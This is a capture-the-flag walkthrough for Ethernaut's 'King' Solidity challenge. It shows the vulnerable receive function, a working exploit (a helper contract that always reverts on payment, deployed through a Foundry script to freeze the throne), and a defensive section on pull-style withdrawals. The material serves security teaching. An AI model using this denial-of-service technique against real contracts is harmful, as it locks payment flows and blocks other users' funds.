In Ethernaut level 9, King, the goal is to become king and prevent the owner from replacing you. We'll use Foundry in the SCH CTF Arena to make the payout to the current king revert.
Contract overview
The constructor makes its deployer king and sets the initial prize. On a later payment, receive checks the bid, sends the incoming value to the current king, and only then records the new king and prize:
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
The owner can bypass the minimum-bid condition. The owner cannot bypass the payout: if the previous king rejects ETH, transfer reverts and the whole replacement transaction fails before the assignments.
Claim the throne with a rejecting helper
An externally owned wallet accepts ETH by default, so use a contract as the king. Its receive function always reverts:
contract RejectingKing {
constructor(King target) payable {
(bool success,) = address(target).call{value: msg.value}("");
require(success, "Claim failed");
}
receive() external payable {
revert("No payouts");
}
}
function run() external {
vm.startBroadcast(PLAYER_PRIVATE_KEY);
new RejectingKing{value: kingInstance.prize()}(kingInstance);
vm.stopBroadcast();
}
The helper constructor bids the current prize and becomes king. The run caller's wallet is not king. The helper is.
When the owner later bids, the target tries to pay the helper, which rejects the transfer. The call reverts before king or prize changes.
Run and verify it
Check answer first verifies that the helper became king, then attempts an owner replacement bid. That second call must fail.
The local verifier confirms that the helper takes the throne and that the owner's replacement call reverts.
Keep payout failures out of the state transition
This challenge intentionally makes the throne fragile: one recipient can block every replacement. In an auction or payment flow, do not require the previous recipient to accept ETH before updating the new state.
Record a credit for the previous recipient and let each recipient withdraw it separately. A low-level call still creates a denial of service if the contract requires that call to succeed before progressing.
The credit must match the intended payment rule. This King implementation sends the incoming bid amount to the previous king. It does not refund the stored previous prize. Preserve that distinction when designing replacement logic.
Watch the walkthrough
Watch on YouTube if the embedded player is unavailable.
Challenge source: OpenZeppelin Ethernaut King. See Solidity's guidance on sending and receiving Ether, or solve King in the Arena.